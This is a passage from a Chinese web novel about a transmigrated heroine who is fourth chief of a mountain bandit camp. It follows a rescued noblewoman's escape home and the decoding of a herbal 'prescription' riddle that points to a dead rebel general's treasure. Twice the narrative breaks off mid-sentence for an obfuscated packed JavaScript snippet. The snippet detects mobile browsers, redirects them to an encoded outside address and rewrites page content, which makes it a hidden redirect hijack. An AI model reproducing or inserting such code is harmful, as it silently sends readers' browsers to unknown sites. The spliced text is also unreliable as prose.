徐青茹赶忙将她扶起来,使其靠在一棵宽大的古树背后,答曰:“这里是一个偏远的小山坡。你现在身体可有不适?”那药丸虽然有让人“假死无息”的奇效,但对人的身体机能的损害也是颇大的,只见徐青茹又从袖中拿出一圆润白色的药丸,沉声道,“这是逍遥丸,你吃下后会好一些。到时候归家,你定要请个大夫瞧一瞧,用那药物滋补一下。” 少女点点头,有些虚弱地从她手中拿过那颗药丸,随后便直接吞咽了下去,没有半分犹豫。 “好些了吗?” “嗯嗯。” “好,那我再嘱咐顾小姐你几句。”徐青茹顿了顿,神色颇为严肃认真,“今日我们虽神不知鬼不觉地使了一招移花接木之计,但这山寨中的其他当家,在没有见到你的尸体前,是不会完全相信的,他们必然会寻找一番。所以,趁明天山寨内乱之际,你务必要出寨下山,这样才能完全安全。” 顾轻云轻轻点了点头,随后眼中流露出少许困惑,“四当家,可我不知道如何下山......” 徐青茹从袖中拿出一张舆图递给顾轻云,神色专注,“我前些日子外出之时,常常观察,熟悉线路后便绘制了该图,不仅描绘了如何下山,更有鹧鸪山中杏花寨的位置,我将它交给你,你且相信自己,一定能走出去的。”顾轻云,你是本书的女主,你有天命的光环,你肯定能活下去的,这也是为什么她敢在这些事情上如此大胆的原因。 少女将这张黄色的舆图拿了过来,借着少许莹莹月光展平细看,上面的路线并不复杂,且清晰明地绘制了一些显著的物什,就算是初入山的人也能摸索个大概,她心中不由愈发佩服起眼前女子的本领,抬头看她,心神一刻恍惚,只是,“只是,您为什么要如此帮我?”这副舆图少不了要花费一大番功夫,可她就这样随意地交给自己,这是为何? 徐青茹敛了神色,静顿片刻,才道,“我想活下来。” 顾轻云一愣,又听得她继续说道,“顾小姐,若之后你遇到了合适的人,请务必将此图交给他,然后告知他你在这发生的一切,至于我的要求,也只有‘活着’二字。” “......合适的人?” 徐青茹轻笑了一声,那双眸子分外清亮,“你之后便知了,我再和你说一下这下山的线路......” 思绪收拢,徐青茹凝了凝神色,她慢慢地从少年怀中离开,忽然又想到了另一件事,她此前将宋又新暗中帮助刑渠汉的事情告知了大当家,希望可以趁此机会将宋又新拿下,但大当家却让她不要打草惊蛇,他说,山寨中还有其他宋又新的同盟。 其他? 她心中划过一丝疑惑,总觉得隐隐有些不对。所以......她忽地抬头看他,会是他吗? “......你为何要派人监视我?你不相信我,还是说,你在派人监视宋又新,结果看到无意中知晓了我和他的谋算?”她蓦然出声,眼神安静又专注地看着他。 两人之间的氛围陡然一静。 栾佑的神色没有什么变化,直到她以为他不会再回答时,清泠的嗓音突然响起来,似乎带着一些散漫,“是监视你,不是他。” 他看着她,少年容貌隽秀,唇似朱丹,一点被人揭穿的窘迫也无,更是心不跳脸不红地说继续道,“唔,确实不太信任你呢,姐姐。” 她神色有过片刻的怔愣,但很快恢复如常,手微微攥紧,直直地看向他,问,“那现在呢?” 他忽地俯下身来,唇边轻轻划过她白玉般的耳垂,温热的气息混着少年慵懒的嗓音,“嗯,也不相信。” 徐青茹心中一紧,想去找那把被她丢弃的短剑,却一下被他抓住手腕,“姐姐似乎也一直不相信我。” “你的眼泪,什么时候是真,什么时候又是假?” “你说的话,又有多少是骗人的谎话呢?” 片刻,他又继续说道,“刚刚,姐姐是真的想杀我的吧?” 被他说中心思的徐青茹脸庞微微一热,他既然派人监视她,那么他知不知道她和顾轻云的事? 所以有那么一刻,她很想直接杀了他,了断麻烦。 她的手被他桎梏着,整个人都使不上力,她突然开始后悔,为什么今日如此冲动挑破了这表面的风平浪静,是因为自己被罗斩秋算计了还是因为她证实了他确实有派人监视自己?她又闻到了暗香丸的味道,那样迷人,也那样寒心。 不过,她又宽慰地想到,既然他早已对自己起疑,那么点破也只是时间问题,只是......徐青茹神色变了又变,忽然毫无征兆地亲了一下他的脸颊,眼眸中透露出令人迷醉的直接与天真,“就算这样,你还愿意跟我这个骗子在一起吗?” 尽管他不相信她,她也不相信他,但既然两人都没死,那这段关系,她暂时还不想断开。 毕竟,很难再找到这么符合她理想的男生了。 栾佑一顿,心中不由觉得好笑,随后用手掰过徐青茹的下巴,俯身吻咬了下来,少女的手终于得到了释放,她上道地攀上他的脖颈,找了一个舒适的位置,颇为热情地回应着。 耳鬓厮磨之间,她似乎听到他在说,“要”。她不由轻笑起来,随后又被人很快地堵住了嘴。 * 顾轻云正拿着徐青茹给她的那张舆图细细查看,早些时候,她趁着刑渠汉带领山匪攻入杏花寨时,便趁乱从石垒门处跑了出来,她运气很好,守门之人被刑渠汉等人杀了个精光,没有人在意她的去向。 在山上徘徊了半日,她的鬓边已出了些薄汗,“......怎么没找到上面标记的那棵树呢。”她沿着路线又往前走了许久,忽地,她抬头一看,一棵歪脖子树赫然矗立在眼前,少女眼中闪过一丝光亮,“终于找到了!” 她顺着走下去,最终到了官路,顾轻云身上狼狈,此时正好有一马车经过,她不顾上体面,直接跪倒在马车面前,喊道,“大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾轻云一顿,想要将一切遭遇全盘拖出,但顷刻,她又将此冲动咽了下去,只笑着道,“与我婢女路过此地时,被一婆娘抓走,我趁她不注意,偷偷溜了出来,但我婢女,我婢女却为了保护我而死了.......” 她想起当初被山匪抓去时,碧荷替她挡了一剑,死之前还喊着,“小姐快跑,快跑!”顾轻云神色不由又黯淡了许多,若之后尚有机会,她一定要手刃这帮悍匪,为碧荷报仇! 见她如此,他很适宜地递来一张手帕,顾轻云接了过来,声音有些嚅嗫,“谢谢公子。” 待她回到顾家,一家的长辈分外激动,但激动之余又十分惊讶,甚至一些人还带着打量之色。顾轻云皱了皱眉,直到被母亲拉到房中。 “儿啊,我的儿,你受苦了......”章顷蕴抱着女儿哭了许久,这才神色紧张地问道,“那些山匪,他们有没有动你?” 少女微愣,很快便反应过来母亲在问何事,她抿了抿唇,“并无。” 母亲却抓着她的手臂,去看那守宫砂,发现仍然还在,继续问道,“儿,那你是如何回来的?那山寨派了人过来,说是你被抓住了,要黄金万两才能赎你,你不知,娘当时有多么担心......” “是有人帮我。”顾青云回握住母亲的手,安抚道,“没事了没事了,娘,我已经回来了。” 她脑中忽然想到罗斩秋以及那幅画,试探地问道,“娘,爹那边怎么说的?” 章顷蕴神色略有一变,但只说,“你爹自然是担心,当时还想报官。可是,如若我们报了官,这云州上下便都知你被山匪绑了,说不定会影响你和辞还的亲事,所以家里面还是压了下来。” 25. 第 25 章 神秘药方 章顷蕴神色略有一变,但只说,“你爹爹自然担心,当时还想着要去报官,或找你姑母寻了城阳王妃的关系,让王府派兵去救你。可是云儿,如若我们报了官,这云州上下便都知你被山匪绑了,于你闺名有损,说不定还会影响你和辞还的亲事,思量几番,家里面还是将此压了下来,只送了封信给你姑母,看看能不能求助于王府。” “我们这些日子费尽心思地筹集金银,只是你那婶子,说是府中开销过大,这里需使钱,那边需使钱,不愿尽心给你筹钱,本来想和老太太说的,只是老人家如今还在病中,只怕听不得这种消息......” “娘,您是对的。”少女神色温和恰然,“实在不必让祖母为我操心。” 顾轻云是知道这个婶子的,祖母信任她,把家中管事的大权都交给了她,她为人利索精明,只是不太愿意待见他们这一房。只因父亲是个闲官,手中无实权,平日又只喜欢吟诗弄画,对其余事一概不放在心上,母亲性格温良,最为和善,一步退步步退,威严甚少。 是她不孝,让父母担忧了...... 这时,门忽地被打开,来人急匆匆,一袭鸦青色的织银长衫,儒雅端正,眉目轩朗,正是顾轻云的父亲,顾家二爷顾子淙。 “爹!”少女一怔,随后扑进父亲怀中,一股酸楚感涌上心头,眼角氤出泪花,“爹,我回来了......” 男人拍了拍女儿的背,关切地问道,“云儿,你可有受伤?” 她摇了摇头,声音哽咽,“女儿没事......” “没事就好,没事就好,我让小厨房给你做了一桌子你爱吃的菜,云儿你等会尝尝?” “嗯嗯!” 旁边的章顷蕴见着夫君女儿这般,也不由得拿出帕子遮了遮眼角的泪花。 “云儿。”他神色正了正,忽问到,“云儿,你可知那位要千里莲花图的山匪是谁?” 顾轻云一顿,看着父亲略带急切的目光,心中闪过一丝不好的预感,她看了一眼母亲,随后咬了下唇,“是一个女山匪。” “她叫什么名字?”顾子淙的目光越发期盼和紧张,真的,真的会是她吗...... “夫君——”一旁的章顷蕴神色紧张而又有些害怕,“你问云儿这些作甚,她刚刚从山寨逃回了......”过了片刻,她又道,“她是死了的,死在那场大病里。” “爹。”顾轻云攥了攥手,抬眸看向父亲,“她说她叫罗斩秋。” “高挑,瘦削,眼角处有一条蜿蜒至耳背的伤疤。” 顾子淙神色一愣,松开了捏紧女儿肩膀的手,神色忽地落寞起来,像是老了十岁,他笑了笑,“是爹冲动了,云儿,你回来就好,回来就好。” * 云州西郊一处偏僻的小宅子处。 昨日落了一场春雨,青瓦上经年积着的苔痕泛出新绿。 一佝偻的老汉推开掉漆木门,与旁侧的邻里打了个招呼,便绕了几个巷子来到一处街市茶肆。他寻了个好位置安稳地坐下,又点了一盏茶,一盘解闷的零碎小食,这才闲散地听着楼上的说书人谈天论地。 “.......想必诸位都知道,五年前那贼人赵羽起兵谋反,从西南逼进,势如破竹,镇守的士兵节节败退,当时朝野可谓是一片哀叹,不知如何是好。不久后,太子府邸前有一疯癫道士路过,高喊‘我有一计’,说是可派城阳王前往擒贼,但当时的城阳王只是一闲散王爷,只爱侍弄花草,修身养性,于是大多官员皆不赞成。” “但太子殿下还是力排众议,指定要城阳王作先帅,没想到啊,看着文弱的城阳王上了战场却所向披靡,用兵如神,最终大胜而归,战后更是提着那贼人头颅,一路从西南到京城,威武不凡,大快人心,朝廷之人也无一再有异议。哈,不过这些都是点陈芝麻烂谷子的事,诸位肯定想不到,这其中——” 说到这,说书人忽拍了下醒木,止了声,轻抿一口喝茶卖弄起关子。下面的人等得不耐烦,便催促着,“快说呀!”“济老三,你快说啊!” 悠悠然了半响,等到下面的听众情绪激动起来,这说书人才抚须缓缓开口,神情作那夸大状,“我要说的那可是一件秘闻!世人皆知,城阳王恨透了那贼人,才会杀了他后又将其枭首示众,但诸位不知,多年前,城阳王和那贼人一同拜师,曾是一对高山流水的挚友,关系匪浅,是舍命之交,但时隔数年,两人却刀刃相见,拼个你死我活,岂不唏嘘矣?” 场下的人蓦地一静,但很快又吵闹起来,大多是说这说书人胡说,他们视为好汉英雄的城阳王怎么会与那逆贼交好,准是这人故意编造的噱头!更有甚者,还大拍桌子,喝骂了起来。 只有那老汉眯着眼,隐匿于喧闹之中,不急不慌地喝着茶,磕着瓜子,只是那神色,终究比之前多了分沉重。 午后,老汉便悠哉着去北边的瓦舍去看斗鸡,今日非黄道吉日也,竟是那只半死不活、最爱“消极怠工”的“独眼”胜了,老汉押错了宝,亏了些许碎银子,不由撇撇嘴,“呸”了一声,挤出人群。他随意找了个摊位,喊了碗小馄饨,吃饱饮足,这才提着刚刚买的豆腐、哼着小曲走回家。 天色渐晚,一轮弯月独悬天边。 老汉神色一动,一个侧身,躲过忽然破空而出的杀招,那剑从他的耳畔划过,斩下一丝白发。 “来者何人?”老汉将刚买的豆腐包放到一边,全身警惕起来。 却只听得见一声女人的轻笑。 “蒋运,这么多年过去了,你怎么还是老样子?” 一袭白衣的女子缓缓从黑夜里走了出来。 蒋运眼神中闪过一丝震惊,变了变脸色,“谢小姐,谢流徽。” “您还活着?” 被喊到名字的女人神色一冷,随后嗤笑道,“谢流徽早就死了,不必提她。”随后女人又道,“嗬,真是没想到,赵羽竟然把他宝库的线索交给了你?” 蒋运顿了顿,收起了之前的神情,只道,“我没有线索。”说罢,他拾起旁侧的豆腐包,“谢小姐若没有其他事,我便先回家了。” “慢——” “不用装起你那老实人模样,赵羽密信上说的地方就是你这住宅子的位置,蒋运,我劝你不要不识好歹,最好乖乖 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蒋运沉默地看了她一会,随后摇了摇头,“谢小姐,你变了许多,从前的你不会这般。不过,既然你已经找到了我,那我也不用再藏着了。请进吧,两位。”他开了门,罗斩秋和徐青茹一前一后地走了进去。 里面不大,是一个二进的宅子,走进去是一个种着花草、蔬菜的庭院。 蒋运将两位请进了房内,各沏了一杯茶。 “说吧蒋运。”女人眉眼已有些了不耐烦。 蒋运看了一眼徐青茹。 “她是个大夫。我知道的,那个线索是关于‘药方’。” 听罗斩秋说旁边的那位少女是个大夫,略微惊讶,但很快变点点头,“既然如此,我便说了。” 烛火映在老汉脸上,往后拉长了他的影子。 唯有那双眸子黑亮异常。 “黄连为君,茯苓为臣,石膏为佐,车前子为使。” “此外,再加上人参二钱、黄芩五钱、麦冬六钱、贝母三钱。” 罗斩秋微皱眉,“只有这两句?” “正是。” 女人看向徐青茹,“记着,这些便是你需研究的东西。” 徐青茹这才明白女人要带她来此的目的,是为了这条与药方紧密联系的关键线索,心中却疑惑起来,这些药材混在一起有利于清热利湿、益气养阴,可是为何第一句话并未说明用量,而第二句话又指明了呢...... 老汉蓦然起身,拍了拍身上的灰尘,“我话已了,请两位姑娘离开吧。” 女人扯出一丝笑容,“不急。”随后突然出手点了老汉的穴位,“你如今既已知晓我的身份,蒋运,我又怎能放你离开呢?” “谢小姐,你——” “我说了,谢流徽已经死了!”女人面容陡然变冷,而后又勾唇笑道,“蒋运,我才不确定你这话是真是假,你如今,只能跟着我回去了!” “还有,如今你也才而立之年吧,以为装个老头就能瞒天过海,大隐于市吗?” 话落,女人忽地拿起茶水泼到老汉脸上,枯黄斑点褪去,露出一张白净端正的脸庞。 26. 第 26 章 解密 外头阳光甚好,透过雕花窗棂倾洒进来,映得房内一片明亮。 栾佑正站在书案前练字,少年一袭藏蓝色衣裳,头俯身躬,眉横丹凤,神色淡淡,笔锋转折处遒劲有力,收笔时却又轻盈如燕,透露出一股恣意矜贵。 砚台中的墨汁乌金浓稠,散发出清淡幽远的松林香味。 旁边的贺必正禀告着相关事宜,“二当家和四当家从外面带了一个男人进来,那人暂时被二当家关在了狱房。” 少年手中的动作一顿,笔尖在纸上留下一滴浓墨,晕染开来。 他的目光仍然停留在纸上,过了片刻道,“想必此人与赵羽留下的宝库有关,否则她不会如此大动干戈。” “是啊,主子。”贺必眉眼中带了一丝喜悦,声音微微上扬,“这么久了,终于有这方面的消息了......待事情结束,主子也能够回去了,再也不用待在这山寨窝里面受罪。” 栾佑扯了下嘴角,忽抬头看他,“你忘了那件事,贺必。” 黑衣人一愣,忽然想起来什么,眼神中闪过一丝疑惑,语气迟疑,“那件事,不是和徐姑娘有关吗?之前主子您接近她不就是为了......” “不是她。”少年声音清冷,打断了他的话。他正好写到‘痕’字,手腕一沉,落下重重一笔,“那人藏得隐蔽,此事还需要继续查探。” 贺必神色若有所思,点了点头,声音压低,“是,主子。属下明白了。” 待贺必离去,栾佑垂眸看着书案上的宣纸——墨迹未干,字迹劲瘦,凌厉险峻中又带着少许优柔,他不由轻哂一声,指尖漫无目的地划过纸面,心中涌起一丝复杂情绪。 回去?他回想着这两个字眼,脑海中忽然浮现出一个少女的身影,清冷的、可怜的、明媚的、妖艳的、狠毒的,过往的场景接踵而来,无数个属于“徐青茹”的影子重叠在一起,最后构成了一个最真实、最鲜活、最冷漠的她。 少年轻挑了下眉,似乎为自己想到她、眷恋她而不解。他自认不是优柔寡断、善良多情之人,即使向她给出了自己的身体,有过云雨之欢,他也并不会觉得这存在着什么羁绊,或者说情爱,他自幼年时便知,世间人之交联,大多只为了“利”字,寻常夫妻、高门连理也并非恩爱,只不过是因“门当户对”、“父母之命”罢了。可,每每遇到她的事情时,他总是会忍耐几分,甚至一时冲动地许下诺言,不会杀她,但—— 他不能保证其他人不会想杀她,山寨本就危机四伏,更别说暗处还有一群人虎视眈眈。 栾佑神色一顿,那双漂亮的丹凤眼稍稍眯起,如果真的有那么一天,她死于他人之手,那么他会觉得惋惜,觉得厌烦......或者,直接拿起剑为她报仇。 * 徐青茹正凝思着蒋运所说的“药方”。 二当家给了她五天的期限,她必须在此期间内破解出来。 “黄连为君,茯苓为臣,石膏为佐,车前子为使。” “此外,再加上人参二钱、黄芩五钱、麦冬六钱、贝母三钱。” 幸好现代时她有深入了解过中医方面的知识,对待这样一剂药方,有些思路,只是不知这书中世界与现实世界是否有些差距。“君臣佐使”是中医里的一个组方原则,君为主,臣为辅,此外,佐作君臣辅,使为调和,一方中,君药不可缺,而臣、佐、使三药可酌配用。 所以,按顺序排列,应该就是黄连、茯苓、石膏以及车前子。只是,下一步应该如何想呢.....少女一手撑着额头,蹙了蹙秀眉。 “姑娘。”是桂月的声音。 桂月在外头的时候叫她四当家,在里头便更喜欢叫她姑娘一些,她快步走来,手中捧着一只青瓷碟子,碟子上摆着几块玲珑小巧的豆沙酥,看起来黄金酥脆、分外香甜可口。 女孩将碟子放在桌面上,关切地看向少女,“姑娘吃些吧,都想了好一会儿了,垫垫肚子。”随后她上前一步,嘴巴靠近徐青茹耳边,声音低了低,“姑娘叫我打听的事,今日已有了结果。” 徐青茹神色轻顿,扬了扬眉,“如何?” “五当家那边确实派人去找了顾轻云的尸体,但是寻找了几日也无一点消息,之后就被三当家便拦了下来,说是既然拿不着顾家的黄金,死了便是死了,何必再去劳神劳力,故而这件事便如此不了了之。” 少女心中冷笑一声,只怕是宋又新担忧顾轻云一事扯出他与刑渠汉暗地里的勾结,便想着匆匆了事。这样也好,将顾轻云的事遮掩过去,便也难以查到她的头上。 徐青茹伸手拈起一块点心放入嘴中,豆沙的甜味在舌尖蔓延开来,她挑了下眉,“二当家也允了这事?” 桂月摇了摇头,“二当家没说好,也没说不好,倒是罕见。” “不过依我之见,二当家应该是想轻拿轻放的,毕竟山寨中谁不知二当家的凶名,无论真的假的,统统杀了才好,哪里还有这样模糊的时候?” 听到这话,徐青茹微微一顿,颇为意外地看向桂月,女孩早已褪去了几个月前的青涩稚嫩,眉目之间多了几分沉稳,变得从容、机敏,甚至是颇有心机。 “说的极是,正是如此。”她顿了顿,眸中带着一丝期许,“桂月,你可曾想过,再进一步?” 女孩闻言,神色一滞,眼眸中闪过一丝迷茫,“再进一步?” 徐青茹颔首,眼神炯炯,语气重带着几分深意,“你如今虽只是我身边的一个丫鬟,平日里做些伺候人的琐碎活计。但你可有想过,或许有朝一日,你也能独当一面,成为一方领头之人,就如同我坐上这四当家的位置一般?” 桂月眨了眨眼,似乎被她这一番话给惊骇到了,双手指尖盘结交错,陷入了思考。她是家中的唯一的女儿,但并没有得到过分的袒护,反而是因为细致、能干而往往承担了更多的粗活。以前她也为自己的这双巧手得意,觉得自己一定能成为府中最优秀的丫鬟,甚至流落到山寨后,她服侍徐青茹,想的也是要成为她最信任、最可靠的身边人。但是,她从来没有想过,自己可以不当丫鬟,去当个主子,去当个像“当家”这样听起来就威武不凡的人物。 女孩看着徐青茹,看着她洁白无瑕的脸庞上充满鼓励和野心的眼神,话语便不由自主地脱口而出,“姑娘,我……我也可以吗?” 徐青茹轻笑一声,语气悠然,“为什么不行呢?难道这世间有什么律法条文明确规定,丫鬟永远是丫鬟,丫鬟不可以成为主子?”她起初是对桂月是半分合作半分怀疑的态度,毕竟当时女孩为了逃命而抛弃她的作法实在让人心生不悦,可是,当她看到桂月一步步成长起来,一步步变得稳重可靠之时,她突然换了个想法,她也只是一个十多岁的、孤苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15160641|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无依的女孩,而自己在现代已有了成熟的价值观和人生观,何必如此苛责于她?或许在些方面自己可以尝试着改变她。 听得此话,桂月咬了咬唇,神色渐渐坚定起来,声音虽轻却含着几分决然,“姑娘,我愿意,我想要成为那样的人。” “可……可我需要做些什么才好?” “不用操之过急,我们慢慢来。”徐青茹浅浅勾唇,眼神中闪过一丝赞许,“桂月,你知道‘密信’的事吧?” 女孩忙不迭点点头。 “你觉得,这位五年前叛乱的前镇国大将军赵羽留下的财宝与兵器是真的存在还仅仅只是一个噱头?如果真的存在,为什么我们这样一个小小的山匪窝,竟然知晓这等秘闻,还拥有赵羽的密信?此外,除了我们,面对这样一笔财富,真的没有其他人在寻找吗,派兵杀了赵羽的朝廷之人会完全不知道这种事吗?” 一番问题下来,桂月的眉毛早已拧了又拧,眼神中渐渐透露出一种从未有过的复杂情绪。作为丫鬟的时候,她只知道,徐青茹是她的主子,主子让她做什么,她便做什么,鲜少会去想其背后的含义如何。 “这些日子,你便好好琢磨一番,然后再与我讨论之。” “是,姑娘。”桂月神色郑重,随后又向徐青茹行了一礼,“我必好好思考姑娘说的这些问题。” - 待桂月走后,徐青茹眯了眯眼,思绪又重新回到了蒋运给出的药方上。少女的手无意识地敲打着桌面,发出一阵或急或缓的“笃笃”声。 忽地,她脑中闪过一丝原书剧情,当时九皇子大病初愈,皇帝特赐云州封地,让其掌管云州事务。城阳王、城阳王世子以及顾轻云前去新王府会宴时,因九皇子曾经拜过镇国大将军为师,便有一人醉酒多言,私下里与他人探讨九皇子从赵羽那学了些什么,是否知道些当年叛逆的内情,好巧不巧,这话正好被传到九皇子耳中,九皇子饮下一杯酒,对着那人笑了笑,当着众人的面,直言道,“我不才,学了些五行之术。” 听得此话,那人冷汗连连,酒也醒了大半,急忙跪地求饶。这位九皇子仍是笑吟吟地说着“无碍。”还送了他些许诗词孤品。正当这人以为万事大吉之际,一月之后便无故摔马而亡,其所在的家族也在短时间内迅速衰败,令人唏嘘不已。而最巧合的是,这人,是城阳王曾经的一位手下。 思及此,不说其他,徐青茹只细细品味着“五行之术”这四字,心中涟漪四起,无论当时九皇子之言是避重就轻还是有意扯谎,但有一点是确认无疑的——赵羽应该也深谙五行之道。现代读书时,她的导师曾道,各色药材,可依其性味、归经和功效进行分类研讨,同时结合五行理论和个体体质,最终以达阴阳调和。 所以,蒋运给出的这两句话,或许正与药材的五行属性有关。 徐青茹赶忙将其中提到的药材的五行列出,黄连属火性、茯苓属土性、石膏属金性、车前子是水性,其次,人参属土、黄芩属火、麦冬属水、贝母属金,两两对应......再按照君臣佐使的顺序以及五行所代表的方向,那么这两句话的意思应该就是——从“土性”中央位置出发,先向南七里,再向西三里,最后再向北六里,方是目的地所在(注释1)。 中央位置? 徐青茹脸色中闪过一丝思索,难不成就是蒋运所在的宅子? 27. 第 27 章 顾轻云正端坐在雕花梨木梳妆台前,对面的铜镜映出少女仙姿玉貌的面容。 她的发髻上插了一支嵌着珍珠的凤蝶鎏金簪,正是最时新的款式,给其添了一分荣华娇艳。婢女绮罗思忖许久,从描漆金盒中拿出一对白玉芙蓉耳坠,比在少女的耳垂旁边,笑着道,“小姐真好看,老太太见了您肯定欢喜。” 顾轻云轻叹一声,眉眼之间凝了一丝忧郁,“希望祖母的病快快好起来。” “小姐!小姐!”外头忽闯进来一个小丫头,神色紧张,分外急切。 绮罗见此,轻声喝到,“规矩学哪去了,如此毛毛躁躁,成何体统!” “绮罗姐姐,彩环不敢!”小丫头连忙跪下,面容温红,“奴婢是有要紧事要回禀小姐!” “何事?”顾轻云蹙了下眉,心中闪过一丝不好的预感。 “小姐,不知......不知是哪个多嘴嚼舌的,竟把您被山匪掳走一事传了出去!现在云州上下,大小街头议论纷纷,都在,都在说......” “您失了清白!”小丫头声音哽咽,眼中含着泪花,身体轻颤,既愤怒又悲伤。 “胡说!”绮罗忙看向旁边的少女,脸色急切担忧,“小姐,这外头的人知道些什么?闻着那些桃色风声,便跟那蜜蜂见了糖似的,一窝蜂地赶上去,小姐您可别往心里去......” 只见顾轻云神色冷峻,只胸脯微微起伏着。她抿了抿唇,“我无事。罗绮,同我先去看看祖母。” 绮罗看着自家小姐,想说些什么又咽了下去,从里头拿了一件云霞锦绸披风,多彩鲜艳,“外面风大,我给小姐披上。”说罢,她转头看了一眼仍然跪在地上的小丫头,眼神不认可地摇了摇头。 房中药味氤氲,顾轻云坐在祖母床前,忍着心中忧切,轻声同祖母絮叨这几日发生在自己身上的诸多事情,只是省去了被掳去山寨一事。顾老夫人见了她精神果然好了许多,便说希望她早日成婚,少女点点了头,却道只想日日陪伴着祖母,哪儿也不去,乐得老夫人虽骂她,却笑不拢嘴。 聊了好一会儿,身边的嬷嬷说老夫人要睡了,顾轻云便起身走出房间,轻关上门。她走到大夫面前,急切地问道祖母病情如何,大夫站在房外,眉头紧锁,轻叹一声。顾轻云心中倏地一紧,连忙说,“大夫,无论多少银两,只要您能救下祖母,我都可以给您!” 然而,大夫仍是摇头,目光中充满了无奈。他看了一眼房中,仿若在权衡着什么,最终颇为为难地道,“小姐,老夫医术有限,实在无能为力。您还是另请高明吧。”说罢,他提起药箱匆匆离去,其背影显得格外沉重。 顾轻云咬着唇,心中急切,忽地想到,她在山寨时曾无意中听闻四当家医术了得,不仅治好了山寨当家母亲多年的肺痨,更是给那些山匪治了许多大病小病,想到这,少女眼中闪过一丝希望的光芒,若是青茹能出寨为祖母治病就好了,或许祖母的病能出现转机...... 这时,一丫鬟急匆匆跑来,额头上还沁着些许细密的汗珠。见到顾轻云,这丫鬟忙停下行礼道,“二小姐,姑奶奶来了,说是要见您。” “姑母?”顾轻云心中疑惑,眉头轻蹙。姑母怎么会来找她呢?姑母顾季兰是父亲的亲妹,早年嫁入了高家。高家是城阳王妃的母家,近年来因城阳王在朝中的地位日益显赫,高家也跟着水涨船高起来,成了云州炙手可热的门第。姑母一向深居简出,今日突然来访,且点名来找她,有些反常。 她心中隐隐有些不安,问道,“姑母在大堂吗?” 丫鬟点头答道:“正是,二小姐您快去吧。姑奶奶已等了一会儿了。” 顾轻云点了点头,整理了一下衣裙,快步向大堂走去。一进门,便见一身华服的妇人正坐于堂中,手中捧着一盏茶,神色间似乎有些焦虑。见少女进来,顾季兰立马放下手中的茶盏,起身迎上前,握住她的手,语气中带着几分关切,“云儿,你来了。” 顾轻云微微一笑,恭敬地行了一礼:“姑母安好。轻云无碍,姑母今日怎么有空过来?” 顾季兰目光在少女清丽的脸庞上停留片刻,似乎想从中看出什么,却只见少女神色如常。她叹了口气,语气有些沉重,“我知母亲的病愈发严重,特意求城阳王妃请了一位京城有名的太医过来,想必择日就到。不过,云儿,你这些日子可好?我听外头在传......欸,你莫要为那些话语伤心,姑母是相信你的。” 少女摇了摇头,语气平和,“轻云无碍,姑母不必挂心。” “好孩子。”顾季兰笑了笑,轻轻拍了拍她的手背,不过她神色并未放松,反而更加凝重。她沉吟片刻,终是开口:“云儿,今日我来,其实是有一事要与你商量。” 顾轻云心中一紧,面上却不显,依旧温声道,“姑母请说。” “是城阳王世子想见你,说是要了解一下关于山寨之事。” “所以,我今日来,是想带你去一趟城阳王府。” “城阳王世子?”顾轻云脸色一怔,脑海中迅速闪过关于这位世子的传闻。城阳王世子名为傅景隆,年少有为,风姿绰约,三年前前往京城太山学院学习,前些日子才回云州。只是,他为何突然对山寨之事感兴趣?顾轻云心中思绪万千,她微微颔首,语气郑重:“既然世子有请,轻云自当遵从。姑母稍等片刻,我这就随您过去。” * 徐青茹正同着二当家前往焦房。 焦房前的侍卫换了一位,之前那位被刑渠汉给杀了。 石屋内,蒋运正坐在中间,百般无聊地把玩着几根焦皇色稻草,听到脚步声,手中一顿,却是无话可言。 “蒋运。”女人眯了眯眼,直接开门见山,“中央位置是指的哪个地方?” 蒋运轻哂一声,眼神依旧盯着手中的稻草,“二当家,我不知。”自他来到这个地方后,他才知道,原来当年那个明媚活泼的少女已经成了一方山寨的当家,而且为人狠毒,杀人如麻,他不经想,若是赵羽泉下有知,不知作何感谢?是心疼还是包容? “嗬,你说还是不说?”罗斩秋的脸色又冷上几分,手中已放在了剑柄之上,徐青茹伸手阻了女人的动作,看向男人,嗓音沉稳:“是不是你所住的宅子?” 少女勾起一丝笑容,继承道:“从你的宅子出发,先向南七里,再向西三里,最后再向北六里,便可找到宝库的位置。” 蒋运的神色这才变了变,他抬头看向眼前的年轻少女,清理俊秀,明眸善睐,于是轻笑了下,“真是后生可畏啊,姑娘竟然破解了出来?”说罢,他似凝思片刻,才道,“姑娘说的不错,中央方位正是我所住之地。” “撒谎!”徐青茹脸色陡然一变,“刚刚所说的路线,我早已派人去寻过,是一块平地。请问什么样的平地,才能容纳得了赵羽所谓的金银财宝以及兵器呢?” “这个关于‘药方’的谜底并不困难,你也必然知道,但是,为何你没有透露出一点儿风声出来,我猜,一方面是你对赵羽的忠诚,另一方面就是,你也不知道起点,或者说中央位置在哪,是吧?” “哈哈哈哈,被你猜对了,我确实知道药方代表的意思。不过——” 蒋运神色一顿,脸色逐渐认真严肃起来,一字一字地道,“不仅是我不知道中央位置在哪,我敢说这世上没有人知道将军所说的起点在哪。” “你不知道?”罗斩秋眼神落到男人身上,显然带了一丝怒气,随后她嗤笑一声,“你既然不知道,蒋运啊蒋运,我还留着你的命做什么?” “二当家,”他顿了一下,“谢小姐,您难道就不顾及一点往日的情分吗?不过,有一个人或许会有这起点的线索。” “谁?” “城阳王。” 听到这个名字时,罗斩秋面色中闪过一丝怨恨,但很快大笑起来,“蒋运,希望你没有骗我。”说罢,对着身边道,“走了。” 徐青茹便同罗斩秋离去,离去前,她转头看了眼蒋运,只见他神色复杂,眼中充斥着令人难以解读的情绪。 回还明院后,宋又新已等待在那。 “嚯,终于把四当家盼来了。”这人细致地酌饮一口清茶,随后脸色严肃慎重起来。 他盯着徐青茹,语气缓慢而带着些试探,“不知是哪里出了差错,我最近觉得单豹对我隐隐有些怀疑。四当家,你知道是什么原因吗?” 